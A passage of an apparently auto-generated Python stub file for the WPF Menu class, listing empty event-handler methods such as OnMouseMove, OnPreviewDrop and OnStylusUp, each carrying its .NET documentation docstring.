Invoked when an unhandled System.Windows.UIElement.IsKeyboardFocusedChanged event is raised on
this element. Implement this method to add class handling for this event.
e: The System.Windows.DependencyPropertyChangedEventArgs that contains the event data.
"""
pass
def OnIsKeyboardFocusWithinChanged(self,*args):
"""
OnIsKeyboardFocusWithinChanged(self: MenuBase,e: DependencyPropertyChangedEventArgs)
Responds to a change to the System.Windows.UIElement.IsKeyboardFocusWithin property.
e: The event data for the System.Windows.UIElement.IsKeyboardFocusWithinChanged event.
"""
pass
def OnIsMouseCapturedChanged(self,*args):
"""
OnIsMouseCapturedChanged(self: UIElement,e: DependencyPropertyChangedEventArgs)
Invoked when an unhandled System.Windows.UIElement.IsMouseCapturedChanged event is raised on
this element. Implement this method to add class handling for this event.
e: The System.Windows.DependencyPropertyChangedEventArgs that contains the event data.
"""
pass
def OnIsMouseCaptureWithinChanged(self,*args):
"""
OnIsMouseCaptureWithinChanged(self: UIElement,e: DependencyPropertyChangedEventArgs)
Invoked when an unhandled System.Windows.UIElement.IsMouseCaptureWithinChanged event is raised
on this element. Implement this method to add class handling for this event.
e: A System.Windows.DependencyPropertyChangedEventArgs that contains the event data.
"""
pass
def OnIsMouseDirectlyOverChanged(self,*args):
"""
OnIsMouseDirectlyOverChanged(self: UIElement,e: DependencyPropertyChangedEventArgs)
Invoked when an unhandled System.Windows.UIElement.IsMouseDirectlyOverChanged event is raised on
this element. Implement this method to add class handling for this event.
e: The System.Windows.DependencyPropertyChangedEventArgs that contains the event data.
"""
pass
def OnIsStylusCapturedChanged(self,*args):
"""
OnIsStylusCapturedChanged(self: UIElement,e: DependencyPropertyChangedEventArgs)
Invoked when an unhandled System.Windows.UIElement.IsStylusCapturedChanged event is raised on
this element. Implement this method to add class handling for this event.
e: A System.Windows.DependencyPropertyChangedEventArgs that contains the event data.
"""
pass
def OnIsStylusCaptureWithinChanged(self,*args):
"""
OnIsStylusCaptureWithinChanged(self: UIElement,e: DependencyPropertyChangedEventArgs)
Invoked when an unhandled System.Windows.UIElement.IsStylusCaptureWithinChanged event is raised
on this element. Implement this method to add class handling for this event.
e: The System.Windows.DependencyPropertyChangedEventArgs that contains the event data.
"""
pass
def OnIsStylusDirectlyOverChanged(self,*args):
"""
OnIsStylusDirectlyOverChanged(self: UIElement,e: DependencyPropertyChangedEventArgs)
Invoked when an unhandled System.Windows.UIElement.IsStylusDirectlyOverChanged event is raised
on this element. Implement this method to add class handling for this event.
e: The System.Windows.DependencyPropertyChangedEventArgs that contains the event data.
"""
pass
def OnItemBindingGroupChanged(self,*args):
"""
OnItemBindingGroupChanged(self: ItemsControl,oldItemBindingGroup: BindingGroup,newItemBindingGroup: BindingGroup)
Invoked when the System.Windows.Controls.ItemsControl.ItemBindingGroup property changes.
oldItemBindingGroup: The old value of the System.Windows.Controls.ItemsControl.ItemBindingGroup.
newItemBindingGroup: The new value of the System.Windows.Controls.ItemsControl.ItemBindingGroup.
"""
pass
def OnItemContainerStyleChanged(self,*args):
"""
OnItemContainerStyleChanged(self: ItemsControl,oldItemContainerStyle: Style,newItemContainerStyle: Style)
Invoked when the System.Windows.Controls.ItemsControl.ItemContainerStyle property changes.
oldItemContainerStyle: Old value of the System.Windows.Controls.ItemsControl.ItemContainerStyle property.
newItemContainerStyle: New value of the System.Windows.Controls.ItemsControl.ItemContainerStyle property.
"""
pass
def OnItemContainerStyleSelectorChanged(self,*args):
"""
OnItemContainerStyleSelectorChanged(self: ItemsControl,oldItemContainerStyleSelector: StyleSelector,newItemContainerStyleSelector: StyleSelector)
Invoked when the System.Windows.Controls.ItemsControl.ItemContainerStyleSelector property
changes.
oldItemContainerStyleSelector: Old value of the System.Windows.Controls.ItemsControl.ItemContainerStyleSelector property.
newItemContainerStyleSelector: New value of the System.Windows.Controls.ItemsControl.ItemContainerStyleSelector property.
"""
pass
def OnItemsChanged(self,*args):
"""
OnItemsChanged(self: ItemsControl,e: NotifyCollectionChangedEventArgs)
Invoked when the System.Windows.Controls.ItemsControl.Items property changes.
e: Information about the change.
"""
pass
def OnItemsPanelChanged(self,*args):
"""
OnItemsPanelChanged(self: ItemsControl,oldItemsPanel: ItemsPanelTemplate,newItemsPanel: ItemsPanelTemplate)
Invoked when the System.Windows.Controls.ItemsControl.ItemsPanel property changes.
oldItemsPanel: Old value of the System.Windows.Controls.ItemsControl.ItemsPanel property.
newItemsPanel: New value of the System.Windows.Controls.ItemsControl.ItemsPanel property.
"""
pass
def OnItemsSourceChanged(self,*args):
"""
OnItemsSourceChanged(self: ItemsControl,oldValue: IEnumerable,newValue: IEnumerable)
Called when the System.Windows.Controls.ItemsControl.ItemsSource property changes.
oldValue: Old value of the System.Windows.Controls.ItemsControl.ItemsSource property.
newValue: New value of the System.Windows.Controls.ItemsControl.ItemsSource property.
"""
pass
def OnItemStringFormatChanged(self,*args):
"""
OnItemStringFormatChanged(self: ItemsControl,oldItemStringFormat: str,newItemStringFormat: str)
Invoked when the System.Windows.Controls.ItemsControl.ItemStringFormat property changes.
oldItemStringFormat: The old value of the System.Windows.Controls.ItemsControl.ItemStringFormat property.
newItemStringFormat: The new value of the System.Windows.Controls.ItemsControl.ItemStringFormat property.
"""
pass
def OnItemTemplateChanged(self,*args):
"""
OnItemTemplateChanged(self: ItemsControl,oldItemTemplate: DataTemplate,newItemTemplate: DataTemplate)
Invoked when the System.Windows.Controls.ItemsControl.ItemTemplate property changes.
oldItemTemplate: The old System.Windows.Controls.ItemsControl.ItemTemplate property value.
newItemTemplate: The new System.Windows.Controls.ItemsControl.ItemTemplate property value.
"""
pass
def OnItemTemplateSelectorChanged(self,*args):
"""
OnItemTemplateSelectorChanged(self: ItemsControl,oldItemTemplateSelector: DataTemplateSelector,newItemTemplateSelector: DataTemplateSelector)
Invoked when the System.Windows.Controls.ItemsControl.ItemTemplateSelector property changes.
oldItemTemplateSelector: Old value of the System.Windows.Controls.ItemsControl.ItemTemplateSelector property.
newItemTemplateSelector: New value of the System.Windows.Controls.ItemsControl.ItemTemplateSelector property.
"""
pass
def OnKeyDown(self,*args):
"""
OnKeyDown(self: Menu,e: KeyEventArgs)
Responds to the System.Windows.ContentElement.KeyDown event.
e: A System.Windows.Input.KeyEventArgs that contains the event data.
"""
pass
def OnKeyUp(self,*args):
"""
OnKeyUp(self: UIElement,e: KeyEventArgs)
Invoked when an unhandled System.Windows.Input.Keyboard.KeyUp�attached event reaches an element
in its route that is derived from this class. Implement this method to add class handling for
this event.
e: The System.Windows.Input.KeyEventArgs that contains the event data.
"""
pass
def OnLostFocus(self,*args):
"""
OnLostFocus(self: UIElement,e: RoutedEventArgs)
Raises the System.Windows.UIElement.LostFocus�routed event by using the event data that is
provided.
e: A System.Windows.RoutedEventArgs that contains event data. This event data must contain the
identifier for the System.Windows.UIElement.LostFocus event.
"""
pass
def OnLostKeyboardFocus(self,*args):
"""
OnLostKeyboardFocus(self: UIElement,e: KeyboardFocusChangedEventArgs)
Invoked when an unhandled System.Windows.Input.Keyboard.LostKeyboardFocus�attached event reaches
an element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.KeyboardFocusChangedEventArgs that contains event data.
"""
pass
def OnLostMouseCapture(self,*args):
"""
OnLostMouseCapture(self: UIElement,e: MouseEventArgs)
Invoked when an unhandled System.Windows.Input.Mouse.LostMouseCapture�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.MouseEventArgs that contains event data.
"""
pass
def OnLostStylusCapture(self,*args):
"""
OnLostStylusCapture(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.LostStylusCapture�attached event reaches
an element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.StylusEventArgs that contains event data.
"""
pass
def OnLostTouchCapture(self,*args):
"""
OnLostTouchCapture(self: UIElement,e: TouchEventArgs)
Provides class handling for the System.Windows.UIElement.LostTouchCapture routed event that
occurs when this element loses a touch capture.
e: A System.Windows.Input.TouchEventArgs that contains the event data.
"""
pass
def OnManipulationBoundaryFeedback(self,*args):
"""
OnManipulationBoundaryFeedback(self: UIElement,e: ManipulationBoundaryFeedbackEventArgs)
Called when the System.Windows.UIElement.ManipulationBoundaryFeedback event occurs.
e: The data for the event.
"""
pass
def OnManipulationCompleted(self,*args):
"""
OnManipulationCompleted(self: UIElement,e: ManipulationCompletedEventArgs)
Called when the System.Windows.UIElement.ManipulationCompleted event occurs.
e: The data for the event.
"""
pass
def OnManipulationDelta(self,*args):
"""
OnManipulationDelta(self: UIElement,e: ManipulationDeltaEventArgs)
Called when the System.Windows.UIElement.ManipulationDelta event occurs.
e: The data for the event.
"""
pass
def OnManipulationInertiaStarting(self,*args):
"""
OnManipulationInertiaStarting(self: UIElement,e: ManipulationInertiaStartingEventArgs)
Called when the System.Windows.UIElement.ManipulationInertiaStarting event occurs.
e: The data for the event.
"""
pass
def OnManipulationStarted(self,*args):
"""
OnManipulationStarted(self: UIElement,e: ManipulationStartedEventArgs)
Called when the System.Windows.UIElement.ManipulationStarted event occurs.
e: The data for the event.
"""
pass
def OnManipulationStarting(self,*args):
"""
OnManipulationStarting(self: UIElement,e: ManipulationStartingEventArgs)
Provides class handling for the System.Windows.UIElement.ManipulationStarting routed event that
occurs when the manipulation processor is first created.
e: A System.Windows.Input.ManipulationStartingEventArgs that contains the event data.
"""
pass
def OnMouseDoubleClick(self,*args):
"""
OnMouseDoubleClick(self: Control,e: MouseButtonEventArgs)
Raises the System.Windows.Controls.Control.MouseDoubleClick routed event.
e: The event data.
"""
pass
def OnMouseDown(self,*args):
"""
OnMouseDown(self: UIElement,e: MouseButtonEventArgs)
Invoked when an unhandled System.Windows.Input.Mouse.MouseDown�attached event reaches an element
in its route that is derived from this class. Implement this method to add class handling for
this event.
e: The System.Windows.Input.MouseButtonEventArgs that contains the event data. This event data
reports details about the mouse button that was pressed and the handled state.
"""
pass
def OnMouseEnter(self,*args):
"""
OnMouseEnter(self: UIElement,e: MouseEventArgs)
Invoked when an unhandled System.Windows.Input.Mouse.MouseEnter�attached event is raised on this
element. Implement this method to add class handling for this event.
e: The System.Windows.Input.MouseEventArgs that contains the event data.
"""
pass
def OnMouseLeave(self,*args):
"""
OnMouseLeave(self: MenuBase,e: MouseEventArgs)
Provides class handling for the System.Windows.UIElement.MouseLeave routed event that occurs
when the mouse leaves the control.
e: The event data for the System.Windows.UIElement.MouseLeave event.
"""
pass
def OnMouseLeftButtonDown(self,*args):
"""
OnMouseLeftButtonDown(self: UIElement,e: MouseButtonEventArgs)
Invoked when an unhandled System.Windows.UIElement.MouseLeftButtonDown�routed event is raised on
this element. Implement this method to add class handling for this event.
e: The System.Windows.Input.MouseButtonEventArgs that contains the event data. The event data
reports that the left mouse button was pressed.
"""
pass
def OnMouseLeftButtonUp(self,*args):
"""
OnMouseLeftButtonUp(self: UIElement,e: MouseButtonEventArgs)
Invoked when an unhandled System.Windows.UIElement.MouseLeftButtonUp�routed event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.MouseButtonEventArgs that contains the event data. The event data
reports that the left mouse button was released.
"""
pass
def OnMouseMove(self,*args):
"""
OnMouseMove(self: UIElement,e: MouseEventArgs)
Invoked when an unhandled System.Windows.Input.Mouse.MouseMove�attached event reaches an element
in its route that is derived from this class. Implement this method to add class handling for
this event.
e: The System.Windows.Input.MouseEventArgs that contains the event data.
"""
pass
def OnMouseRightButtonDown(self,*args):
"""
OnMouseRightButtonDown(self: UIElement,e: MouseButtonEventArgs)
Invoked when an unhandled System.Windows.UIElement.MouseRightButtonDown�routed event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.MouseButtonEventArgs that contains the event data. The event data
reports that the right mouse button was pressed.
"""
pass
def OnMouseRightButtonUp(self,*args):
"""
OnMouseRightButtonUp(self: UIElement,e: MouseButtonEventArgs)
Invoked when an unhandled System.Windows.UIElement.MouseRightButtonUp�routed event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.MouseButtonEventArgs that contains the event data. The event data
reports that the right mouse button was released.
"""
pass
def OnMouseUp(self,*args):
"""
OnMouseUp(self: UIElement,e: MouseButtonEventArgs)
Invoked when an unhandled System.Windows.Input.Mouse.MouseUp�routed event reaches an element in
its route that is derived from this class. Implement this method to add class handling for this
event.
e: The System.Windows.Input.MouseButtonEventArgs that contains the event data. The event data
reports that the mouse button was released.
"""
pass
def OnMouseWheel(self,*args):
"""
OnMouseWheel(self: UIElement,e: MouseWheelEventArgs)
Invoked when an unhandled System.Windows.Input.Mouse.MouseWheel�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.MouseWheelEventArgs that contains the event data.
"""
pass
def OnPreviewDragEnter(self,*args):
"""
OnPreviewDragEnter(self: UIElement,e: DragEventArgs)
Invoked when an unhandled System.Windows.DragDrop.PreviewDragEnter�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.DragEventArgs that contains the event data.
"""
pass
def OnPreviewDragLeave(self,*args):
"""
OnPreviewDragLeave(self: UIElement,e: DragEventArgs)
Invoked when an unhandled System.Windows.DragDrop.PreviewDragLeave�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.DragEventArgs that contains the event data.
"""
pass
def OnPreviewDragOver(self,*args):
"""
OnPreviewDragOver(self: UIElement,e: DragEventArgs)
Invoked when an unhandled System.Windows.DragDrop.PreviewDragOver�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.DragEventArgs that contains the event data.
"""
pass
def OnPreviewDrop(self,*args):
"""
OnPreviewDrop(self: UIElement,e: DragEventArgs)
Invoked when an unhandled System.Windows.DragDrop.PreviewDrop�attached event reaches an element
in its route that is derived from this class. Implement this method to add class handling for
this event.
e: The System.Windows.DragEventArgs that contains the event data.
"""
pass
def OnPreviewGiveFeedback(self,*args):
"""
OnPreviewGiveFeedback(self: UIElement,e: GiveFeedbackEventArgs)
Invoked when an unhandled System.Windows.DragDrop.PreviewGiveFeedback�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.GiveFeedbackEventArgs that contains the event data.
"""
pass
def OnPreviewGotKeyboardFocus(self,*args):
"""
OnPreviewGotKeyboardFocus(self: UIElement,e: KeyboardFocusChangedEventArgs)
Invoked when an unhandled System.Windows.Input.Keyboard.PreviewGotKeyboardFocus�attached event
reaches an element in its route that is derived from this class. Implement this method to add
class handling for this event.
e: The System.Windows.Input.KeyboardFocusChangedEventArgs that contains the event data.
"""
pass
def OnPreviewKeyDown(self,*args):
"""
OnPreviewKeyDown(self: UIElement,e: KeyEventArgs)
Invoked when an unhandled System.Windows.Input.Keyboard.PreviewKeyDown�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.KeyEventArgs that contains the event data.
"""
pass
def OnPreviewKeyUp(self,*args):
"""
OnPreviewKeyUp(self: UIElement,e: KeyEventArgs)
Invoked when an unhandled System.Windows.Input.Keyboard.PreviewKeyUp�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.KeyEventArgs that contains the event data.
"""
pass
def OnPreviewLostKeyboardFocus(self,*args):
"""
OnPreviewLostKeyboardFocus(self: UIElement,e: KeyboardFocusChangedEventArgs)
Invoked when an unhandled System.Windows.Input.Keyboard.PreviewKeyDown�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.KeyboardFocusChangedEventArgs that contains the event data.
"""
pass
def OnPreviewMouseDoubleClick(self,*args):
"""
OnPreviewMouseDoubleClick(self: Control,e: MouseButtonEventArgs)
Raises the System.Windows.Controls.Control.PreviewMouseDoubleClick routed event.
e: The event data.
"""
pass
def OnPreviewMouseDown(self,*args):
"""
OnPreviewMouseDown(self: UIElement,e: MouseButtonEventArgs)
Invoked when an unhandled System.Windows.Input.Mouse.PreviewMouseDown attached�routed event
reaches an element in its route that is derived from this class. Implement this method to add
class handling for this event.
e: The System.Windows.Input.MouseButtonEventArgs that contains the event data. The event data
reports that one or more mouse buttons were pressed.
"""
pass
def OnPreviewMouseLeftButtonDown(self,*args):
"""
OnPreviewMouseLeftButtonDown(self: UIElement,e: MouseButtonEventArgs)
Invoked when an unhandled System.Windows.UIElement.PreviewMouseLeftButtonDown�routed event
reaches an element in its route that is derived from this class. Implement this method to add
class handling for this event.
e: The System.Windows.Input.MouseButtonEventArgs that contains the event data. The event data
reports that the left mouse button was pressed.
"""
pass
def OnPreviewMouseLeftButtonUp(self,*args):
"""
OnPreviewMouseLeftButtonUp(self: UIElement,e: MouseButtonEventArgs)
Invoked when an unhandled System.Windows.UIElement.PreviewMouseLeftButtonUp�routed event reaches
an element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.MouseButtonEventArgs that contains the event data. The event data
reports that the left mouse button was released.
"""
pass
def OnPreviewMouseMove(self,*args):
"""
OnPreviewMouseMove(self: UIElement,e: MouseEventArgs)
Invoked when an unhandled System.Windows.Input.Mouse.PreviewMouseMove�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.MouseEventArgs that contains the event data.
"""
pass
def OnPreviewMouseRightButtonDown(self,*args):
"""
OnPreviewMouseRightButtonDown(self: UIElement,e: MouseButtonEventArgs)
Invoked when an unhandled System.Windows.UIElement.PreviewMouseRightButtonDown�routed event
reaches an element in its route that is derived from this class. Implement this method to add
class handling for this event.
e: The System.Windows.Input.MouseButtonEventArgs that contains the event data. The event data
reports that the right mouse button was pressed.
"""
pass
def OnPreviewMouseRightButtonUp(self,*args):
"""
OnPreviewMouseRightButtonUp(self: UIElement,e: MouseButtonEventArgs)
Invoked when an unhandled System.Windows.UIElement.PreviewMouseRightButtonUp�routed event
reaches an element in its route that is derived from this class. Implement this method to add
class handling for this event.
e: The System.Windows.Input.MouseButtonEventArgs that contains the event data. The event data
reports that the right mouse button was released.
"""
pass
def OnPreviewMouseUp(self,*args):
"""
OnPreviewMouseUp(self: UIElement,e: MouseButtonEventArgs)
Invoked when an unhandled System.Windows.Input.Mouse.PreviewMouseUp�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.MouseButtonEventArgs that contains the event data. The event data
reports that one or more mouse buttons were released.
"""
pass
def OnPreviewMouseWheel(self,*args):
"""
OnPreviewMouseWheel(self: UIElement,e: MouseWheelEventArgs)
Invoked when an unhandled System.Windows.Input.Mouse.PreviewMouseWheel�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.MouseWheelEventArgs that contains the event data.
"""
pass
def OnPreviewQueryContinueDrag(self,*args):
"""
OnPreviewQueryContinueDrag(self: UIElement,e: QueryContinueDragEventArgs)
Invoked when an unhandled System.Windows.DragDrop.PreviewQueryContinueDrag�attached event
reaches an element in its route that is derived from this class. Implement this method to add
class handling for this event.
e: The System.Windows.QueryContinueDragEventArgs that contains the event data.
"""
pass
def OnPreviewStylusButtonDown(self,*args):
"""
OnPreviewStylusButtonDown(self: UIElement,e: StylusButtonEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.PreviewStylusButtonDown�attached event
reaches an element in its route that is derived from this class. Implement this method to add
class handling for this event.
e: The System.Windows.Input.StylusButtonEventArgs that contains the event data.
"""
pass
def OnPreviewStylusButtonUp(self,*args):
"""
OnPreviewStylusButtonUp(self: UIElement,e: StylusButtonEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.PreviewStylusButtonUp�attached event
reaches an element in its route that is derived from this class. Implement this method to add
class handling for this event.
e: The System.Windows.Input.StylusButtonEventArgs that contains the event data.
"""
pass
def OnPreviewStylusDown(self,*args):
"""
OnPreviewStylusDown(self: UIElement,e: StylusDownEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.PreviewStylusDown�attached event reaches
an element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.StylusDownEventArgs that contains the event data.
"""
pass
def OnPreviewStylusInAirMove(self,*args):
"""
OnPreviewStylusInAirMove(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.PreviewStylusInAirMove�attached event
reaches an element in its route that is derived from this class. Implement this method to add
class handling for this event.
e: The System.Windows.Input.StylusEventArgs that contains the event data.
"""
pass
def OnPreviewStylusInRange(self,*args):
"""
OnPreviewStylusInRange(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.PreviewStylusInRange�attached event
reaches an element in its route that is derived from this class. Implement this method to add
class handling for this event.
e: The System.Windows.Input.StylusEventArgs that contains the event data.
"""
pass
def OnPreviewStylusMove(self,*args):
"""
OnPreviewStylusMove(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.PreviewStylusMove�attached event reaches
an element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.StylusEventArgs that contains the event data.
"""
pass
def OnPreviewStylusOutOfRange(self,*args):
"""
OnPreviewStylusOutOfRange(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.PreviewStylusOutOfRange�attached event
reaches an element in its route that is derived from this class. Implement this method to add
class handling for this event.
e: The System.Windows.Input.StylusEventArgs that contains the event data.
"""
pass
def OnPreviewStylusSystemGesture(self,*args):
"""
OnPreviewStylusSystemGesture(self: UIElement,e: StylusSystemGestureEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.PreviewStylusSystemGesture�attached event
reaches an element in its route that is derived from this class. Implement this method to add
class handling for this event.
e: The System.Windows.Input.StylusSystemGestureEventArgs that contains the event data.
"""
pass
def OnPreviewStylusUp(self,*args):
"""
OnPreviewStylusUp(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.PreviewStylusUp�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.StylusEventArgs that contains the event data.
"""
pass
def OnPreviewTextInput(self,*args):
"""
OnPreviewTextInput(self: UIElement,e: TextCompositionEventArgs)
Invoked when an unhandled System.Windows.Input.TextCompositionManager.PreviewTextInput�attached
event reaches an element in its route that is derived from this class. Implement this method to
add class handling for this event.
e: The System.Windows.Input.TextCompositionEventArgs that contains the event data.
"""
pass
def OnPreviewTouchDown(self,*args):
"""
OnPreviewTouchDown(self: UIElement,e: TouchEventArgs)
Provides class handling for the System.Windows.UIElement.PreviewTouchDown routed event that
occurs when a touch presses this element.
e: A System.Windows.Input.TouchEventArgs that contains the event data.
"""
pass
def OnPreviewTouchMove(self,*args):
"""
OnPreviewTouchMove(self: UIElement,e: TouchEventArgs)
Provides class handling for the System.Windows.UIElement.PreviewTouchMove routed event that
occurs when a touch moves while inside this element.
e: A System.Windows.Input.TouchEventArgs that contains the event data.
"""
pass
def OnPreviewTouchUp(self,*args):
"""
OnPreviewTouchUp(self: UIElement,e: TouchEventArgs)
Provides class handling for the System.Windows.UIElement.PreviewTouchUp routed event that occurs
when a touch is released inside this element.
e: A System.Windows.Input.TouchEventArgs that contains the event data.
"""
pass
def OnPropertyChanged(self,*args):
"""
OnPropertyChanged(self: FrameworkElement,e: DependencyPropertyChangedEventArgs)
Invoked whenever the effective value of any dependency property on this
System.Windows.FrameworkElement has been updated. The specific dependency property that changed
is reported in the arguments parameter. Overrides
System.Windows.DependencyObject.OnPropertyChanged(System.Windows.DependencyPropertyChangedEventAr
gs).
e: The event data that describes the property that changed,as well as old and new values.
"""
pass
def OnQueryContinueDrag(self,*args):
"""
OnQueryContinueDrag(self: UIElement,e: QueryContinueDragEventArgs)
Invoked when an unhandled System.Windows.DragDrop.QueryContinueDrag�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.QueryContinueDragEventArgs that contains the event data.
"""
pass
def OnQueryCursor(self,*args):
"""
OnQueryCursor(self: UIElement,e: QueryCursorEventArgs)
Invoked when an unhandled System.Windows.Input.Mouse.QueryCursor�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.QueryCursorEventArgs that contains the event data.
"""
pass
def OnRender(self,*args):
"""
OnRender(self: UIElement,drawingContext: DrawingContext)
When overridden in a derived class,participates in rendering operations that are directed by
the layout system. The rendering instructions for this element are not used directly when this
method is invoked,and are instead preserved for later asynchronous use by layout and drawing.
drawingContext: The drawing instructions for a specific element. This context is provided to the layout system.
"""
pass
def OnRenderSizeChanged(self,*args):
"""
OnRenderSizeChanged(self: FrameworkElement,sizeInfo: SizeChangedInfo)
Raises the System.Windows.FrameworkElement.SizeChanged event,using the specified information as
part of the eventual event data.
sizeInfo: Details of the old and new size involved in the change.
"""
pass
def OnStyleChanged(self,*args):
"""
OnStyleChanged(self: FrameworkElement,oldStyle: Style,newStyle: Style)
Invoked when the style in use on this element changes,which will invalidate the layout.
oldStyle: The old style.
newStyle: The new style.
"""
pass
def OnStylusButtonDown(self,*args):
"""
OnStylusButtonDown(self: UIElement,e: StylusButtonEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.StylusButtonDown�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.StylusButtonEventArgs that contains the event data.
"""
pass
def OnStylusButtonUp(self,*args):
"""
OnStylusButtonUp(self: UIElement,e: StylusButtonEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.StylusButtonUp�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.StylusButtonEventArgs that contains the event data.
"""
pass
def OnStylusDown(self,*args):
"""
OnStylusDown(self: UIElement,e: StylusDownEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.StylusDown�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.StylusDownEventArgs that contains the event data.
"""
pass
def OnStylusEnter(self,*args):
"""
OnStylusEnter(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.StylusEnter�attached event is raised by
this element. Implement this method to add class handling for this event.
e: The System.Windows.Input.StylusEventArgs that contains the event data.
"""
pass
def OnStylusInAirMove(self,*args):
"""
OnStylusInAirMove(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.StylusInAirMove�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.StylusEventArgs that contains the event data.
"""
pass
def OnStylusInRange(self,*args):
"""
OnStylusInRange(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.StylusInRange�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.StylusEventArgs that contains the event data.
"""
pass
def OnStylusLeave(self,*args):
"""
OnStylusLeave(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.StylusLeave�attached event is raised by
this element. Implement this method to add class handling for this event.
e: The System.Windows.Input.StylusEventArgs that contains the event data.
"""
pass
def OnStylusMove(self,*args):
"""
OnStylusMove(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.StylusMove�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.StylusEventArgs that contains the event data.
"""
pass
def OnStylusOutOfRange(self,*args):
"""
OnStylusOutOfRange(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.StylusOutOfRange�attached event reaches an
element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.StylusEventArgs that contains the event data.
"""
pass
def OnStylusSystemGesture(self,*args):
"""
OnStylusSystemGesture(self: UIElement,e: StylusSystemGestureEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.StylusSystemGesture�attached event reaches
an element in its route that is derived from this class. Implement this method to add class
handling for this event.
e: The System.Windows.Input.StylusSystemGestureEventArgs that contains the event data.
"""
pass
def OnStylusUp(self,*args):
"""
OnStylusUp(self: UIElement,e: StylusEventArgs)
Invoked when an unhandled System.Windows.Input.Stylus.StylusUp�attached event reaches an element
in its route that is derived from this class. Implement this method to add class handling for
this event.
e: The System.Windows.Input.StylusEventArgs that contains the event data.
"""
pass
def OnTemplateChanged(self,*args):
"""
OnTemplateChanged(self: Control,oldTemplate: ControlTemplate,newTemplate: ControlTemplate)
Called whenever the control's template changes.
oldTemplate: The old template.
newTemplate: The new template.
"""
pass
def OnTextInput(self,*args):
"""
OnTextInput(self: Menu,e: TextCompositionEventArgs)
Handles the System.Windows.UIElement.TextInput routed event that occurs when the menu receives
text input from any device.
e: The event data.
"""
pass
def OnToolTipClosing(self,*args):
"""
OnToolTipClosing(self: FrameworkElement,e: ToolTipEventArgs)
Invoked whenever an unhandled System.Windows.FrameworkElement.ToolTipClosing routed event
reaches this class in its route. Implement this method to add class handling for this event.
e: Provides data about the event.
"""
pass
def OnToolTipOpening(self,*args):
"""
OnToolTipOpening(self: FrameworkElement,e: ToolTipEventArgs)
Invoked whenever the System.Windows.FrameworkElement.ToolTipOpening routed event reaches this
class in its route. Implement this method to add class handling for this event.
e: Provides data about the event.
"""
pass
def OnTouchDown(self,*args):
"""
OnTouchDown(self: UIElement,e: TouchEventArgs)
Provides class handling for the System.Windows.UIElement.TouchDown routed event that occurs when
a touch presses inside this element.
e: A System.Windows.Input.TouchEventArgs that contains the event data.
"""
pass
def OnTouchEnter(self,*args):
"""
OnTouchEnter(self: UIElement,e: TouchEventArgs)
Provides class handling for the System.Windows.UIElement.TouchEnter routed event that occurs
when a touch moves from outside to inside the bounds of this element.
e: A System.Windows.Input.TouchEventArgs that contains the event data.
"""
pass
